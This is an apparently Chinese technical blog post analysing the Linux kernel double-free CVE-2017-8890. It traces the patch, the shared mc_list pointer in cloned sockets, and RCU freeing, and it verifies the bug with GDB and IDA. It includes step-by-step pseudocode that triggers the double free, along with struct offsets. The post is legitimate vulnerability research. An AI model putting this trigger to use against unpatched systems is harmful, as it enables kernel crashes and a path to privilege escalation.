关于CVE-2017-8890的原理分析已经有好几位前辈分析过了,本文也做一个简单的总结。首先会从补丁分析一下漏洞的成因,其次会从调试的角度验证之前分析的内容。
通过该漏洞的patch,我们可以看到在 net/ipv4/inet_connection_sock.c 中,增加了对于mc_list的置NULL操作。newsk是一个sock的结构体指针(struct sock *newsk)。
通过查看sock结构体在kernel4.10.0中的源码,可知mc_list是ip_mc_socklist的结构体指针。所以我们可以确定ip_mc_socklist就是存在问题的结构体。 为什么要对mc_list置NULL呢?这得看一下inet_connection_sock.c中inet_csk_clone_lock的功能。该函数的调用过程如下,引用云图信安文章中用understand生成的调用流程图: 这里对以上函数做简单分析(现在感觉用处不大),具体的过程可以看源码实现:
总结一下目前的漏洞原因:根据PATCH代码分析,在建立socket连接时,由父socket copy数据 给子 socket,mc_list这个ip_mc_socklist类型的结构体指针没有被置为NULL,因此子socket中存在对父socket中数据的引用。
由于是double free的漏洞,写POC时,必然要对mc_list进行创建和二次释放。创建和释放的过程需要通过understand找关于mc_list的引用。细节还是参考云图信安的文章[1]吧。不重复赘述了。 创建过程: 释放过程:
POC伪代码:
创建一个socket并加入组播模式(MCAST_JOIN_GROUP),这时socket中存在mc_list结构体,监听该socket,并用accept等待连接。建立连接时,会创建新的子sokcet,其中依然存在父socket的mc_list结构体。关闭新的socket,这时等待RCU机制的的宽限期结束后,在rcu回调函数中触发第一次kfree。之后关闭父socket,同样的位置触发第二次free。(也就是两次free的位置都是相同的,之前被别的文章误导了)
POC下载地址:POC
环境:
mc_list 结构定义如下,大小是0x30,其中的rcu_head的offset是0x20,func指针的offset是0x28:
mc_list 创建过程ip_mc_join_group() -> sock_kmalloc() -> kmalloc()
mc_list在这个函数里面释放。由于mc_list是一个单链表,通过next_rcu来索引下一个mc_list。因此在释放的时候,会循环遍历这个链表。此外,由于mc_list是ip_mc_socklist的结构体,引用了rcu机制(正常采用rcu机制保护的结构体中会有struct rcu_head rcu; 这个成员)因此对于该结构体写比较特殊(释放也可以理解为是写过程)。
简单来说可以理解为当有一个线程要对该成员写时,开始一个宽限期,等到所有读的线程结束后,宽限期结束,通过触发时钟中断检查是否存在回调函数,如果存在回调函数,则在回调函数中写。简单的rcu机制可以参考这篇文章:浅析linux kernel RCU机制
根据一开始的漏洞分析,我们可以知道在inet_csk_clone_lock中sk_clone_lock完成了sock copy的过程。通过gdb调试我们可以看到sk和newsk中存在同一个指向mc_list的指针。首先我们需要知道mc_list在sk中的偏移。
这个偏移可以通过IDA查看free mc_list时的反汇编代码得到:0x310。
找到偏移后,通过gdb调试inet_csk_clone_lock函数即可看到mc_list的创建过程,首先IDA看一下该函数地址。 这里可以考虑设置一下断点:
确定地址后,gdb查看此时newsk和sk 0x310偏移处,果然存在指向同一个mc_list的指针。(这里还不太严谨,因为patch代码是在sk_clone_lock之后置mc_list为NULL的,gdb中可以输入finish查看函数调用完了之后这个指针依然是存在的)
继续运行poc后,发生crash。
反汇编代码:
如果psf即[mc_list+0x18]为0,那么就不会引用psf->sl_count,内核就会进入ip_mc_drop_socket的kfree_rcu()流程,触发kfree的double free。
sockfd = socket(AF_INET, xx, IPPROTO_TCP);
setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);
bind(sockfd, xxxx, xxxx);
listen(sockfd, xxxx)
newsockfd = accept(sockfd, xxxx, xxxx);
close(newsockfd);// first free (kfree_rcu)
sleep(5);// wait rcu free(real first free)
close(sockfd);// double free
gdb-peda$ x/6gx $rax
0xffff880074a83780: 0xffff880074a83dc0 0xffff880074a83780
0xffff880074a83790: 0xffff880037288958 0x0000000008000002
0xffff880074a837a0: 0x0000000000000002 0x6c73797300000006
.text:FFFFFFFF817FB491 call near ptr sk_clone_lock-68B86h ; rdi sk
.text:FFFFFFFF817FB496 test rax, rax ; newsk
gdb-peda$ info registers
rax 0x0 0x0
rbx 0x2 0x2
rcx 0x1 0x1
rdx 0x0 0x0
rsi 0xffff8800777bd2c0 0xffff8800777bd2c0
rdi 0x0 0x0
rbp 0xffffc90003ecfde0 0xffffc90003ecfde0
rsp 0xffffc90003ecfdc0 0xffffc90003ecfdc0
r8 0x0 0x0
r9 0x0 0x0
r10 0xffff880064c24db0 0xffff880064c24db0
r11 0xffff880074911110 0xffff880074911110
r12 0xffff8800777bd2c0 0xffff8800777bd2c0
r13 0xffff8800772a2138 0xffff8800772a2138
r14 0xffff8800772a2000 0xffff8800772a2000
r15 0x0 0x0
rip 0xffffffff8182f4a5 0xffffffff8182f4a5 <ip_mc_leave_src+37>
eflags 0x10202 [ IF RF ]
cs 0x10 0x10
ss 0x18 0x18
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0xb 0xb
gdb-peda$ x/50i ip_mc_leave_src
0xffffffff8182f480 <ip_mc_leave_src>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff8182f485 <ip_mc_leave_src+5>: push rbp
0xffffffff8182f486 <ip_mc_leave_src+6>: mov rbp,rsp
0xffffffff8182f489 <ip_mc_leave_src+9>: push r14
0xffffffff8182f48b <ip_mc_leave_src+11>: push r13
0xffffffff8182f48d <ip_mc_leave_src+13>: push r12
0xffffffff8182f48f <ip_mc_leave_src+15>: push rbx
0xffffffff8182f490 <ip_mc_leave_src+16>: mov r14,rdi
0xffffffff8182f493 <ip_mc_leave_src+19>: mov rbx,QWORD PTR [rsi+0x18]
0xffffffff8182f497 <ip_mc_leave_src+23>: mov r12,rsi
0xffffffff8182f49a <ip_mc_leave_src+26>: mov rdi,rdx
0xffffffff8182f49d <ip_mc_leave_src+29>: test rbx,rbx
0xffffffff8182f4a0 <ip_mc_leave_src+32>: je 0xffffffff8182f4ef <ip_mc_leave_src+111>
0xffffffff8182f4a2 <ip_mc_leave_src+34>: mov edx,DWORD PTR [rsi+0x14]
=> 0xffffffff8182f4a5 <ip_mc_leave_src+37>: mov ecx,DWORD PTR [rbx+0x4]
0xffffffff8182f4a8 <ip_mc_leave_src+40>: lea rsi,[rsi+0x8]
0xffffffff8182f4ac <ip_mc_leave_src+44>: lea r8,[rbx+0x18]
0xffffffff8182f4b0 <ip_mc_leave_src+48>: xor r9d,r9d
0xffffffff8182f4b3 <ip_mc_leave_src+51>: call 0xffffffff8182f110 <ip_mc_del_src>
0xffffffff8182f4b8 <ip_mc_leave_src+56>: mov QWORD PTR [r12+0x18],0x0
0xffffffff8182f4c1 <ip_mc_leave_src+65>: mov r13d,eax
0xffffffff8182f4c4 <ip_mc_leave_src+68>: mov eax,DWORD PTR [rbx]
0xffffffff8182f4c6 <ip_mc_leave_src+70>: lea eax,[rax*4+0x18]
0xffffffff8182f4cd <ip_mc_leave_src+77>: sub DWORD PTR ds:[r14+0x138],eax
0xffffffff8182f4d5 <ip_mc_leave_src+85>: lea rdi,[rbx+0x8]
0xffffffff8182f4d9 <ip_mc_leave_src+89>: mov esi,0x8
0xffffffff8182f4de <ip_mc_leave_src+94>: call 0xffffffff810f4a40 <kfree_call_rcu>
0xffffffff8182f4e3 <ip_mc_leave_src+99>: pop rbx
gdb-peda$ bt
#0 0xffffffff8182f4a5 in ip_mc_leave_src (sk=0xffff880077be8800, iml=0xffff88003d222540, in_dev=0xffff8800)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/net/ipv4/igmp.c:2155
#1 0xffffffff81832f18 in ip_mc_drop_socket (sk=0xffff880077be8800)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/net/ipv4/igmp.c:2607
#2 0xffffffff8182c2c0 in inet_release (sock=0xffff880079749180)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/net/ipv4/af_inet.c:411
#3 0xffffffff8178b7bf in sock_release (sock=0x0 <irq_stack_union>)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/net/socket.c:599
#4 0xffffffff8178b832 in sock_close (inode=<optimized out>, filp=<optimized out>)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/net/socket.c:1063
#5 0xffffffff81246937 in __fput (file=0xffff88003d171000)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/fs/file_table.c:209
#6 0xffffffff81246ade in ____fput (work=<optimized out>)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/fs/file_table.c:245
#7 0xffffffff810a706e in task_work_run () at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/kernel/task_work.c:116
#8 0xffffffff810032ba in tracehook_notify_resume (regs=<optimized out>)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/include/linux/tracehook.h:191
#9 exit_to_usermode_loop (regs=0xffffc900030c7f58, cached_flags=0x2)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/arch/x86/entry/common.c:160
#10 0xffffffff81003b29 in prepare_exit_to_usermode (regs=<optimized out>)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/arch/x86/entry/common.c:190
#11 syscall_return_slowpath (regs=0xffffc900030c7f58)
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/arch/x86/entry/common.c:259
#12 0xffffffff818ce948 in entry_SYSCALL_64 ()
at /build/linux-hwe-edge-gyUj63/linux-hwe-edge-4.10.0/arch/x86/entry/entry_64.S:239
#13 0x0000000000000000 in ?? ()
gdb-peda$ x/20i ip_mc_leave_src
0xffffffff8182f480 <ip_mc_leave_src>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff8182f485 <ip_mc_leave_src+5>: push rbp
0xffffffff8182f486 <ip_mc_leave_src+6>: mov rbp,rsp
0xffffffff8182f489 <ip_mc_leave_src+9>: push r14
0xffffffff8182f48b <ip_mc_leave_src+11>: push r13
0xffffffff8182f48d <ip_mc_leave_src+13>: push r12
0xffffffff8182f48f <ip_mc_leave_src+15>: push rbx
0xffffffff8182f490 <ip_mc_leave_src+16>: mov r14,rdi
0xffffffff8182f493 <ip_mc_leave_src+19>: mov rbx,QWORD PTR [rsi+0x18] //psf
0xffffffff8182f497 <ip_mc_leave_src+23>: mov r12,rsi
0xffffffff8182f49a <ip_mc_leave_src+26>: mov rdi,rdx //arg1 in_dev
0xffffffff8182f49d <ip_mc_leave_src+29>: test rbx,rbx //psf
0xffffffff8182f4a0 <ip_mc_leave_src+32>: je 0xffffffff8182f4ef <ip_mc_leave_src+111>
0xffffffff8182f4a2 <ip_mc_leave_src+34>: mov edx,DWORD PTR [rsi+0x14] //arg3 iml->sfmode
=> 0xffffffff8182f4a5 <ip_mc_leave_src+37>: mov ecx,DWORD PTR [rbx+0x4] //arg4 psf->sl_count
0xffffffff8182f4a8 <ip_mc_leave_src+40>: lea rsi,[rsi+0x8] //arg2 &iml->multi.imr_multiaddr.s_addr
0xffffffff8182f4ac <ip_mc_leave_src+44>: lea r8,[rbx+0x18] //arg5 psf->sl_addr
0xffffffff8182f4b0 <ip_mc_leave_src+48>: xor r9d,r9d // arg6 0
0xffffffff8182f4b3 <ip_mc_leave_src+51>: call 0xffffffff8182f110 <ip_mc_del_src>
源头是tcp_v4_rcv这个函数。tcp_v4_rcv中调用了 tcp_check_req。
tcp_check_req 会检查包是否正确,会return一个新建立的socket。
tcp_check_req是调用 tcp_v4_syn_recv_sock来实现的,tcp_v4_syn_recv_sock 里面会初始化和创建一个新的socket。
tcp_v4_syn_recv_sock 是调用tcp_create_openreq_child 来实现的。 tcp_create_openreq_child(sk, req, skb)根据监听sock和req,为新连接创建一个传输控制块,并初始化。
tcp_create_openreq_child是调用 inet_csk_clone_lock来实现的。该函数会创建一个socket,其实是根据父socket来创建child socket。 到这里已经定位到了inet_csk_clone_lock
函数。看一下源码: 这个函数在clone sk给newsk时,通过调用链:inet_csk_clone_lock -> sk_clone_lock(sk, priority)->sock_copy(newsk, sk);
来完成对sk的拷贝。拷贝完成后没有对mc_list初始化,因此在newsk和sk中存在同一个指向ip_mc_socklist的结构体指针。
ubuntu16.04.1@kernel 4.10.0-19
调试机(debugging)、被调试机(debuggee)
参考:ubuntu 内核源码调试
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2019-1-29 12:25
被心许雪编辑
,原因: